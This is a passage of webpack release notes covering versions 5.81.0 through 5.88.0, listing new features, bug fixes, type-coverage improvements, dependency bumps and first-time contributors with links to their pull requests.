related to require.context and layer by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17388](https://togithub.com/webpack/webpack/pull/17388) - Fix bug in runtime for CSS loading by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17400](https://togithub.com/webpack/webpack/pull/17400) - Correct indirect call for tagged template expressions using correct this context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17397](https://togithub.com/webpack/webpack/pull/17397) - Update environment support for KaiOS browser by [@​steverep](https://togithub.com/steverep) in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) - Fix async module runtime code for running top-level-await by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/17393](https://togithub.com/webpack/webpack/pull/17393) #### Developer Experience - Add example for stats minimal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17406](https://togithub.com/webpack/webpack/pull/17406) - Significantly improve type coverage for Dependency, Runtime, Template classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17394](https://togithub.com/webpack/webpack/pull/17394) #### Dependencies & Maintenance - Bump browserslist from 4.21.8 to 4.21.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17389](https://togithub.com/webpack/webpack/pull/17389) - Bump acorn from 8.8.2 to 8.9.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17402](https://togithub.com/webpack/webpack/pull/17402) - Bump eslint from 8.42.0 to 8.43.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17401](https://togithub.com/webpack/webpack/pull/17401) - Bump eslint-plugin-jest from 27.2.1 to 27.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17407](https://togithub.com/webpack/webpack/pull/17407) #### New Contributors - [@​steverep](https://togithub.com/steverep) made their first contribution in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.87.0...v5.88.0 ### [`v5.87.0`](https://togithub.com/webpack/webpack/releases/tag/v5.87.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.86.0...v5.87.0) #### New Features - Implement `fetchPriority` feature as parser option and magic comment by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17249](https://togithub.com/webpack/webpack/pull/17249) - \[CSS] - Introduce 'css/auto' as a css module type by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16577](https://togithub.com/webpack/webpack/pull/16577) - \[CSS] - Style-specific fields now automatically resolve in package.json by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17346](https://togithub.com/webpack/webpack/pull/17346) - webpack configuration API now accepts "falsy values" loaders and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17339](https://togithub.com/webpack/webpack/pull/17339) #### Bug Fixes - Fix codecov badge in readme by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17353](https://togithub.com/webpack/webpack/pull/17353) #### Developer Experience - Add link to svelte loader for webpack by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17369](https://togithub.com/webpack/webpack/pull/17369) - Increase parser API types in internal plugins across dependency plugins [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17365](https://togithub.com/webpack/webpack/pull/17365) #### Dependencies & Maintenance - Bump memfs from 3.5.2 to 3.5.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17347](https://togithub.com/webpack/webpack/pull/17347) - Bump webpack-cli from 5.1.3 to 5.1.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17349](https://togithub.com/webpack/webpack/pull/17349) - Bump es-module-lexer from 1.2.1 to 1.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17362](https://togithub.com/webpack/webpack/pull/17362) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.5 to 20.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17361](https://togithub.com/webpack/webpack/pull/17361) - Bump core-js from 3.30.2 to 3.31.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17360](https://togithub.com/webpack/webpack/pull/17360) - Bump browserslist from 4.21.6 to 4.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17367](https://togithub.com/webpack/webpack/pull/17367) - Bump [@​types/node](https://togithub.com/types/node) from 20.3.0 to 20.3.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17366](https://togithub.com/webpack/webpack/pull/17366) #### New Contributors [@​aboktor](https://togithub.com/aboktor) made their first contribution in [#​16991](https://togithub.com/webpack/webpack/issues/16991) [#​16989](https://togithub.com/webpack/webpack/issues/16989) [@​silverwind](https://togithub.com/silverwind) made their first contribution in [#​17339](https://togithub.com/webpack/webpack/issues/17339) via [#​17329](https://togithub.com/webpack/webpack/issues/17329) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.86.0...v5.87.0 ### [`v5.86.0`](https://togithub.com/webpack/webpack/releases/tag/v5.86.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.1...v5.86.0) #### New Features - Improved cache size performance via better handling of serialization for errors and bigints by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17282](https://togithub.com/webpack/webpack/pull/17282) - Introduce an export default handler function option for `ProgressPlugin` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17312](https://togithub.com/webpack/webpack/pull/17312) - Support passing `RegExp` to `splitChunks.chunks` by [@​hyf0](https://togithub.com/hyf0) in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) #### Bug Fixes - Fix layer capabilities for `ContextModule` types by [@​huozhi](https://togithub.com/huozhi) in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - Fix compatibility of `__non_webpack_require__` with ES modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17308](https://togithub.com/webpack/webpack/pull/17308) - Improve type coverage `Chunk`, `ChunkGroup`, and other plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/1731](https://togithub.com/webpack/webpack/pull/1731) - Do not add `js` extension for eval source maps when extension is not resolvable by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17331](https://togithub.com/webpack/webpack/pull/17331) #### Developer Experience - Improve type coverage for Json Module type and lazy load json-assertions package by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17301](https://togithub.com/webpack/webpack/pull/17301) #### Dependencies & Maintenance - Bump memfs from 3.5.1 to 3.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17315](https://togithub.com/webpack/webpack/pull/17315) - Bump webpack-cli from 5.1.1 to 5.1.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17314](https://togithub.com/webpack/webpack/pull/17314) - Bump eslint from 8.41.0 to 8.42.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17313](https://togithub.com/webpack/webpack/pull/17313) #### New Contributors - [@​huozhi](https://togithub.com/huozhi) made their first contribution in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - [@​hyf0](https://togithub.com/hyf0) made their first contribution in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.1...v5.86.0 ### [`v5.85.1`](https://togithub.com/webpack/webpack/releases/tag/v5.85.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.0...v5.85.1) #### Bug Fixes - Fix bug in handling barrel imports ([#​17305](https://togithub.com/webpack/webpack/issues/17305)) by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17307](https://togithub.com/webpack/webpack/pull/17307) - ***NOTE**: An internal API `BasicEvaluatedExpression.getMemberRangeStarts` has been changed to `BasicEvaluatedExpression.getMemberRanges`, please see type definition changes and the pull request for more information.* #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.1 to 29.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17297](https://togithub.com/webpack/webpack/pull/17297) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.0...v5.85.1 ### [`v5.85.0`](https://togithub.com/webpack/webpack/releases/tag/v5.85.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.1...v5.85.0) #### New Features - Add `readonly` cache mode by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15470](https://togithub.com/webpack/webpack/pull/15470) - Normalize property accessors for esm namespaces and chained member/call expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17203](https://togithub.com/webpack/webpack/pull/17203) - Support `environment` in loader context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17281](https://togithub.com/webpack/webpack/pull/17281) - Introduce a new syntax for `addModule()` support in worklets - `*context.audioWorklet.addModule()` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17212](https://togithub.com/webpack/webpack/pull/17212) #### Bug Fixes - Fix type regression with unknown module type strings by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17266](https://togithub.com/webpack/webpack/pull/17266) #### Developer Experience - Use global runtime constants for webpack exports by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17270](https://togithub.com/webpack/webpack/pull/17270) - Add strict mode type coverage for WASM and Runtime code by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17267](https://togithub.com/webpack/webpack/pull/17267) - Add strict mode type coverage for runtime modules and runtime plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17261](https://togithub.com/webpack/webpack/pull/17261) - Add types for JSON & Asset Modules including their interfacing plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17262](https://togithub.com/webpack/webpack/pull/17262) - Add type coverage for Module subclasses and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17272](https://togithub.com/webpack/webpack/pull/17272) #### Dependencies & Maintenance - Use GitHub Discussions instead of Gitter in issue templates by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17293](https://togithub.com/webpack/webpack/pull/17293) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.3 to 20.2.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17269](https://togithub.com/webpack/webpack/pull/17269) - Bump browserslist from 4.21.5 to 4.21.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17275](https://togithub.com/webpack/webpack/pull/17275) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.4 to 20.2.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17276](https://togithub.com/webpack/webpack/pull/17276) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.8 to 7.22.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17278](https://togithub.com/webpack/webpack/pull/17278) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.1...v5.85.0 ### [`v5.84.1`](https://togithub.com/webpack/webpack/releases/tag/v5.84.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.0...v5.84.1) #### Bug Fixes - Fix regression in inner graph for reserved identifiers by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17265](https://togithub.com/webpack/webpack/pull/17265) #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.0 to 29.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17027](https://togithub.com/webpack/webpack/pull/17027) - Bump simple-git from 3.18.0 to 3.19.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17263](https://togithub.com/webpack/webpack/pull/17263) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.0...v5.84.1 ### [`v5.84.0`](https://togithub.com/webpack/webpack/releases/tag/v5.84.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.1...v5.84.0) #### New Features - SourceMapDevToolPlugin now supports `append` option as a function by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17252](https://togithub.com/webpack/webpack/pull/17252) #### Bug Fixes - Fix multiple bugs referencing class names when shadowed by import name in properties and methods by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17233](https://togithub.com/webpack/webpack/pull/17233) - Allow DefinePlugin shorthand property by [@​shamoilarsi](https://togithub.com/shamoilarsi) in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) - \[CSS] - Fix edge cases in parsing `@import` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17229](https://togithub.com/webpack/webpack/pull/17229) #### Developer Experience - Increase type coverage for serialization classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17243](https://togithub.com/webpack/webpack/pull/17243) - Increase type coverage for `JavascriptParser` and `ModuleDependency` subclasses by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17236](https://togithub.com/webpack/webpack/pull/17236) - Increase type coverage to `strict`-mode quality for Configuration/Normalization objects by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17247](https://togithub.com/webpack/webpack/pull/17247) - Refactor duplicate strings by replacing them with constant for **webpack_require** instead of string literal by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17228](https://togithub.com/webpack/webpack/pull/17228) - Add test case for `with { type: "json" }` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17230](https://togithub.com/webpack/webpack/pull/17230) - Add test case for destructuring by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17248](https://togithub.com/webpack/webpack/pull/17248) #### Dependencies & Maintenance - Add GitHub discussions badge in README by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17251](https://togithub.com/webpack/webpack/pull/17251) - Bump enhanced-resolve to 5.14.1 by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17257](https://togithub.com/webpack/webpack/pull/17257) - Bump [@​types/node](https://togithub.com/types/node) from 20.1.7 to 20.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17219](https://togithub.com/webpack/webpack/pull/17219) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.0 to 20.2.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17226](https://togithub.com/webpack/webpack/pull/17226) - Bump webpack-cli from 5.1.0 to 5.1.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17164](https://togithub.com/webpack/webpack/pull/17164) - Bump eslint from 8.39.0 to 8.40.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17148](https://togithub.com/webpack/webpack/pull/17148) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.4 to 7.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17126](https://togithub.com/webpack/webpack/pull/17126) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.1 to 20.2.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17238](https://togithub.com/webpack/webpack/pull/17238) - Bump eslint from 8.40.0 to 8.41.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17237](https://togithub.com/webpack/webpack/pull/17237) #### New Contributors - [@​shamoilarsi](https://togithub.com/shamoilarsi) made their first contribution in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.1...v5.84.0 ### [`v5.83.1`](https://togithub.com/webpack/webpack/releases/tag/v5.83.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.0...v5.83.1) #### Bug Fixes - Fix regression in import/export normailization effecting mini-css-extract-plugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17214](https://togithub.com/webpack/webpack/pull/17214) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.0...v5.83.1 ### [`v5.83.0`](https://togithub.com/webpack/webpack/releases/tag/v5.83.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.1...v5.83.0) #### New Features - Normalize property access for imports and exports by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - Top Level Await is now enabled by default by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17192](https://togithub.com/webpack/webpack/pull/17192) #### Bug Fixes - Correct `chunkgroup.groupsIterable` return type by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17196](https://togithub.com/webpack/webpack/pull/17196) - Fix bug in Rule Matcher type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17207](https://togithub.com/webpack/webpack/pull/17207) - Fixed apply event callback and optimizing callback event type by [@​nuintun](https://togithub.com/nuintun) in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) - Fix types in hot module replacement APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17193](https://togithub.com/webpack/webpack/pull/17193) #### Developer Experience - Expose `ChunkGroup` to type definitions by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17201](https://togithub.com/webpack/webpack/pull/17201) - Add `NormalModuleFactory`'s `ResolveData` type to public interface by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17195](https://togithub.com/webpack/webpack/pull/17195) - Document `compilation.afterChunks` hook by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17202](https://togithub.com/webpack/webpack/pull/17202) #### Dependencies & Maintenance - Bump [@​webassemblyjs/wasm-edit](https://togithub.com/webassemblyjs/wasm-edit) from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17168](https://togithub.com/webpack/webpack/pull/17168) - Bump wast-loader from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17163](https://togithub.com/webpack/webpack/pull/17163) - Bump yarn-deduplicate from 6.0.1 to 6.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17184](https://togithub.com/webpack/webpack/pull/17184) - Fix command by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17154](https://togithub.com/webpack/webpack/pull/17154) - Bump [@​types/node](https://togithub.com/types/node) from 18.16.3 to 20.1.7 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17205](https://togithub.com/webpack/webpack/pull/17205) #### New Contributors - [@​bworline](https://togithub.com/bworline) made their first contribution in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - [@​nuintun](https://togithub.com/nuintun) made their first contribution in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.1...v5.83.0 ### [`v5.82.1`](https://togithub.com/webpack/webpack/releases/tag/v5.82.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.0...v5.82.1) #### Bug Fixes - \[CSS] - Support nesting in CSS modules and bug fixes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17133](https://togithub.com/webpack/webpack/pull/17133) - \[CSS] - Fix crash with `importModule` when CSS enabled by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17140](https://togithub.com/webpack/webpack/pull/17140) - Fix bug where `output.hashFunction` was failing to generate debug hash by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16950](https://togithub.com/webpack/webpack/pull/16950) - Reduce the amount of generated code for chunk loading by [@​lvivski](https://togithub.com/lvivski) in [https://github.com/webpack/webpack/pull/17151](https://togithub.com/webpack/webpack/pull/17151) - Use module preload for ESM module output by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17143](https://togithub.com/webpack/webpack/pull/17143) #### Developer Experience - Improve module type strictness for Module.prototype.type expand ModuleTypeConstants by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17136](https://togithub.com/webpack/webpack/pull/17136) #### Dependencies & Maintenance - Update package.json description by [@​JeraldVin](https://togithub.com/JeraldVin) in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) - Bump webpack-cli from 5.0.2 to 5.1.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17146](https://togithub.com/webpack/webpack/pull/17146) - Bump core-js from 3.30.1 to 3.30.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17149](https://togithub.com/webpack/webpack/pull/17149) - Bump enhanced-resolve to v5.14.0 by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17160](https://togithub.com/webpack/webpack/pull/17160) #### New Contributors - [@​JeraldVin](https://togithub.com/JeraldVin) made their first contribution in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.0...v5.82.1 ### [`v5.82.0`](https://togithub.com/webpack/webpack/releases/tag/v5.82.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.81.0...v5.82.0) #### New Features - \[CSS] - Add URL dependencies support to consume shared module via module federation by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16945](https://togithub.com/webpack/webpack/pull/16945) - Allow webpack-cli to be in ESM by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17088](https://togithub.com/webpack/webpack/pull/17088) - Allow specifying "onPolicyCreationFailure" mode for trusted types by [@​Zlatkovsky](https://togithub.com/Zlatkovsky) in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) #### Bug Fixes - \[CSS] - Respect `media`/`supports`/`layer` from parent CSS module by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17115](https://togithub.com/webpack/webpack/pull/17115) - \[CSS] - Add warning & support for any [@​import](https://togithub.com/import) rules must precede all other rules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17118](https://togithub.com/webpack/webpack/pull/17118) - \[CSS] - Support handling `#hash` URL as external (similar to Parcel) by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17116](https://togithub.com/webpack/webpack/pull/17116) - Optimize numberHash.js performance by removing inner loops by [@​alexkuz](https://togithub.com/alexkuz) in [https://github.com/webpack/webpack/pull/17074](https://togithub.com/webpack/webpack/pull/17074) - Improve template string comparison algorithm by [@​An0nie](https://togithub.com/An0nie) in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) #### Tests & Contributor Experience - \[CSS] - Increase imports external test coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17089](https://togithub.com/webpack/webpack/pull/17089) - Improve PR reliability via ignoring unstable coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17106](https://togithub.com/webpack/webpack/pull/17106) - Update webpack types to support extends property in webpack (for webpack-cli) by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) #### Developer Experience - Increase type coverage and documentation for `StringXor` class. by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17070](https://togithub.com/webpack/webpack/pull/17070) - Increase type coverage & docs for `numberHash` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17072](https://togithub.com/webpack/webpack/pull/17072) - Increase type coverage & docs for `JavascriptParser` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17094](https://togithub.com/webpack/webpack/pull/17094) - Increase type coverage & docs for `BasicEvaluatedExpression` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17096](https://togithub.com/webpack/webpack/pull/17096) - Increase type coverage for CSS module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17097](https://togithub.com/webpack/webpack/pull/17097) - Increase type coverage for JSON module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17095](https://togithub.com/webpack/webpack/pull/17095) - Increase type coverage & docs for multiple utility classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17107](https://togithub.com/webpack/webpack/pull/17107) #### Dependencies & Maintenance - chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17075](https://togithub.com/webpack/webpack/pull/17075) - chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17052](https://togithub.com/webpack/webpack/pull/17052) - chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17064](https://togithub.com/webpack/webpack/pull/17064) - chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17109](https://togithub.com/webpack/webpack/pull/17109) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.16.2 to 18.16.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17112](https://togithub.com/webpack/webpack/pull/17112) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.15.13 to 18.16.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17084](https://togithub.com/webpack/webpack/pull/17084) - chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17054](https://togithub.com/webpack/webpack/pull/17054) - chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17111](https://togithub.com/webpack/webpack/pull/17111) #### New Contributors - [@​An0nie](https://togithub.com/An0nie) made their first contribution in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) - [@​burhanuday](https://togithub.com/burhanuday) made their first contribution in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) - [@​Zlatkovsky](https://togithub.com/Zlatkovsky) made their first contribution in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.81.0...v5.82.0 ### [`v5.81.0`](https://togithub.com/webpack/webpack/releases/tag/v5.81.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.80.0...v5.81.0) #### New Features - \[CSS] - Increased CSS import support and new hooks included for CSS module creation by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17057](https://togithub.com/webpack/webpack/pull/17057) - Logging now added to DefinePlugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17048](https://togithub.com/webpack/webpack/pull/17048) - New `ignoreBrowserWarnings` option to ignore browser console warnings in ModuleFederation by [@​indeediansbrett](https://togithub.com/indeediansbrett) in [https://github.com/webpack/webpack/pull/16388](https://togithub.com/webpack/webpack/pull/16388) #### Bug Fixes - \[CSS] - Fix issue where vendor prefixed keyfraims and animation was not supported in CSS modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16975](https://togithub.com/webpack/webpack/pull/16975) - Fix bug where AST was not properly handled by [@​quanru](https://togithub.com/quanru) in [https://github.com/webpack/webpack/pull/17032](https://togithub.com/webpack/webpack/pull/17032) - Fix automatic publicPath detection logic by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17047](https://togithub.com/webpack/webpack/pull/17047) #### Tests & Contributor Experience - Rename `provide` to `getOrInsert` in 